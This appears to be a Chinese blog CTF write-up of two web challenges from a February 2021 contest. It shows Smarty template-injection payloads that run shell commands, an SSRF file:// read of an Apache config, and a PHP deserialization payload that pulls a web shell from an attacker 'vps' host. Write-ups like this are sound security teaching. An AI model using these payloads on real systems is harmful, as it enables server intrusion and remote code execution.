【CTF系列】2021年2月四叶草CTF

四叶草网络安全学院的一次推广活动吧,正好可以试试自己的水平(问就是菜。


1 Web

1.1 题目:GET

题目描述:Hello GET_flAG!!!

题目地址:http://0bc68a13.yunyansec.com/

  1. 根据提示输入任意的Get参数,即可查看源码。http://0bc68a13.yunyansec.com/?1

<?php
include('flag.php');
include('./libs/Smarty.class.php');
$smarty = new Smarty();
if($_GET){
    highlight_file('index.php');
    foreach ($_GET AS $key => $value)
    {
        print $key."\n";
        if(preg_match("/flag/i", $value)){
            
            $smarty->display('./template.html');


        }elseif(preg_match("/system|exec|eval|cat|assert|file|fgets/i", $value)){


            $smarty->display('./template.html');            
            
        }else{


            $smarty->display("eval:".$value);//flag.php
        }
        
    }
}else{
    $smarty->display('./template.html');
}
?> 1
  1. 查询到smarty是模版注入的漏洞,访问验证漏洞

http://d40c2bf8.yunyansec.com/?a={phpinfo()}

  1. 利用寻找可利用的命令执行函数来查看 flag

http://938e2c8c.yunyansec.com/?a={passthru(%22tac%20find%20-iname%20fla*%22)}


(图片说明:passthru 函数会执行后面的命令tac `find -iname fla*`,这个命令用来寻找 flag 文件并且输出其内容)

1.2 题目:Website

题目描述:Website

附件下载:暂无附件

题目地址:http://eb9a2ac6.yunyansec.com/

  1. 猜测为 SSRF,有 WAF,可以使用 302 跳转绕过(可以使用 PHP 实现 302 跳转,使用 nginx 设置太麻烦了)

  1. 使用 File 协议读取配置文件 /etc/httpd/conf/httpd.conf,发现 web 路径(Web1 和 Web2),可以进一步读取网站源码。
<VirtualHost _default_:80>
DocumentRoot /var/www/html/web1
</VirtualHost>


<VirtualHost *:8080>
    DocumentRoot /var/www/html/web2
</VirtualHost>
</div></body>
</html>
  1. php反序列化拿shell,http://180fe897.yunyansec.com/?url=http://127.0.0.1:8080?data=payload 在 1.txt 中写入 Web Shell。
<?php

class copy_file{
    public $path = 'upload/';
    public $file="e.php";
    public $url='http://127.0.0.1:80/?url=http://vps/1.txt';

}
echo urlencode(urlencode(serialize(new copy_file())));

?>
  1. 访问 Web Shell,并找 flag。


2 小结

元宵节前一天的比赛,TimeLineSec 队里的师傅们把题目 AK 了🥳,Cool。

我第一道题是自己完整做出来的,第二道题和队里的师傅稍微讨论了一下,就接近 2 道题的样子。

打 CTF 有半年左右了,但这半年都只是在关注漏洞本身,属于一种只见树木不见森林的状态,希望后面能慢慢的再提升一些核心的技能点。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值